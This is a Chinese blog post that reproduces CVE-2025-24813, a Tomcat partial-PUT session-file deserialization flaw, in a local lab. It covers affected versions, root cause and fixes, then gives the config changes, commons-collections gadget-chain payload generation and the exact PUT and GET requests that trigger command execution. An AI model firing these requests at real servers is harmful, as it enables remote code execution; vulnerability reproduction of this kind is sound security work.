CVE-2025-24813 Tomcat 反序列化RCE 复现

漏洞解析

官方漏洞公告
https://tomcat.apache.org/security-10

漏洞利用参考链接
https://forum.butian.net/article/674
https://mp.weixin.qq.com/s/Rkpi7aDAgPwozR7PRfxkGg

漏洞影响版本

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞利用条件

  1. Tomcat的 DefaultServlet 启用写入功能(默认关闭)。
  2. Tomcat启用 partial PUT 功能(默认开启)。
  3. Tomcat 使用了默认的会话文件存储位置(默认无)。
  4. Tomcat 使用反序列化利用链库,如 commons-collections。

漏洞原理解析

  1. Tomcat conf/Web.xml 配置文件中有 DefaultServlet 控制器可以设置 servlet 是否只读,如果设置为 False,结合 conf/web.xml 中 allowPartialPut 参数默认开启,用户可自行上传 session 文件。Tomcat 不安全的命名操作将 uri 存为 session 文件名称(/123/session → .123.session)并用于后续 session 校验。
  2. 当用户发送请求,tomcat 获取 cookie 中的 JSESSIONID 值,秉承 “内存优先,文件兜底” 的原则并到程序内存查找匹配,找不到就去 Manager 指定的 session 文件路径(如有)查找,发现指定了默认的存储路径,就到 work/Catalina/localhost/ROOT 目录查找 JSESSIONID 值对应的文件,并将改文件反序列化,用于匹配鉴权参数。该过程未校验文件安全性,反序列化操作导致二进制流被执行。

漏洞修复建议

  1. 禁用 DefaultServlet 的写入功能(设置 readonly=true,默认)。
  2. 升级 Tomcat 至安全版本。
  3. 禁用 Partial PUT:修改 conf/web.xml 中的 allowPartialPut 参数为 false 。


漏洞复现

以Tomcat 9.0.98为例

1. 环境搭建

修改conf/web.xml
在servlet项中增加子项 init-param ,参数名为 readonly,值为 false:

        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>

image


修改conf/context.xml
在 <Context> 项中添加Manager子项,使会话持久化并使用默认会话存储位置:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

image


加入可被反序列化利用的库


题外话:
commons-collection库是Apache的开发辅助库,有两个大版本,其中commons-collections为3版本,因问题和利用链(CC链)较多,常用于渗透复现。commonst-collections4为2013年发布的4版本,但是和3版本不兼容,所以两个版本可能同时出现在一个项目中。


此处以commons-collections 3.2.1举例。 下载

在Tomcat的 \webapps\ROOT 路径下创建一个lib目录,把jar包放进去
image
启动tomcat

mac或linux运行 /bin/catalina.sh run 或 /bin/startup.sh

windows运行 /bin/startup.bat

浏览器访问 localhost:8080 看到汤姆猫即可

2. 漏洞利用

准备抓包工具和反序列化利用工具。
这里演示两种方式,其实是一样的,一个发包工具和一个Java利用链生成工具。

  1. 单兵工具 Yakit
  2. Burp + 其他 Java 利用链工具
方式一:Yakit 利用

使用 Yso-Java Hack 模块生成 payload。


题外话:Java 版本 52,55 是十六进制的 class 主版本号(0x34,0x37),分别代表 Java 8,Java 11.


生成一个 CommonsCollections6 / win_cmd(因为我的 Java 是 17 版本。网上的复现文章大多采用 K1 链,需要 Java 8 或以下版本,否则反射访问 TemplatesImpl 类会受限导致复现失败),执行命令为 calc 的 base64 编码 payload

  • 请注意,这里一定不是选 YAK 或 DUMP 而是 base64,因为生成的内容必须是序列化的二进制流,而不是明文函数,发包时会用到。
    image

使用 Web Fuzzer 模块发包(或者抓包改包,都可以)

发该数据包目的为生成 tomcat 服务器中的存储 session 文件。

  • 此处发包需要注意,Content-Length必须大于body内容长度,且与 Content-Range 分块内容长度相同,且均小于 Content-Range 最后的数字(分块结合后的总长度,这里是5200,如不知道body长度可适当改大一些)。
PUT /12345/session HTTP/1.1
Host:localhost:8080
Content-Length: 5000
Content-Range: bytes 0-5000/5200

{{base64dec(反序列化base64编码内容)}}

image

发第二个包触发session文件反序列化操作

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.12345

image

方式二:burp + Java Chains 利用

安装Java Chains
java-chains为例,Java Chains 为一个 java payload 生成工具,具有 UI 界面,但是仅支持 Java8。Github下载

下载后切换环境变量为 Java 1.8 或进 Java 1.8 的bin目录执行
java -jar -Xms512m -Xmx2g -XX:+UseG1GC .../java-chains.jar 或直接 java -jar .../java-chains.jar

访问本地 8011 端口,默认账号 admin,密码在每次开启服务时会在控制台输出
image

生成序列化字符串
使用 Generate 中的 JavaNativePayload 模块。
选择CB1链,commonsCollectionsK3(CC3.2.1 ChainedTransformer链),TransformerWithExec。
选择base64编码,Gadget 2中填入执行的命令,calc,生成。
image

Burp发包
Burp 随意抓个包,repeater 改包,把之前使用的 PUT 请求的数据包头复制进去。直接粘贴生成的 base64 编码字符串。
image
双击选中 payload,右键进行 base64 解码后发送即可

  • 注意:不用Java Chains直接生成Raw格式是因为有乱码,burp无法直接粘贴进去,会失效。
    image
    这里的 Content-Length 可以不用设置了,因为 Burp 会帮你自动计算 body 长度并更新,但是 Content-Range 里的内容还是要自己填的,大于 body 长度即可。
    image
    之后是第二个包,成功利用。
    image




坑与问题

  1. 可能你会发现,使用自带的decoder解码器将序列化字符串进行base64编码后再粘贴进数据包里,会复现不成功,但是请求包和响应包都是正确的。如图:
    直接在repeater解码的:
    image
    decoder解码后放进去的
    image
    数据包看起来是一样的,但是进入Hex分析就会发现其实二进制数据已经有一些改变。
    原因是通过 Decoder 模块粘贴进去会有一些多出来的字符,且最后有字符缺失。导致反序列化失败。
    image
    image
    将这些字符更正也可以成功。

  2. 为何使用反序列化CommonsCollections6 / win_cmd 利用链,而不是 K1 链?
    网络上有比较多的文章关于这个漏洞用的是K1链,但是因为我java版本是17,该链不太能用。
    原因:K1链的核心是 InvokerTransformer 类通过反射调用 newTransformer 方法,但在大于 java 8 的版本中,com.sun.org.apache.xalan.internal 等内部包的反射访问默认被模块系统(JPMS)禁止。

有个小 Tips,你可以写一下代码验证 TemplatesImpl.newTransformer() 是否可被反射调用,就知道能不能用 K1 链了。
比如:

Class<?> cls = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Method method = cls.getMethod("newTransformer");
method.invoke(cls.newInstance());  // 构造你自己的实例

如果代码报错,则 K1 链会失败。不想折腾就直接试 K1 命令执行吧。

posted @ 2025-03-15 17:42  Ds_Leo  阅读(874)  评论(1)    收藏  举报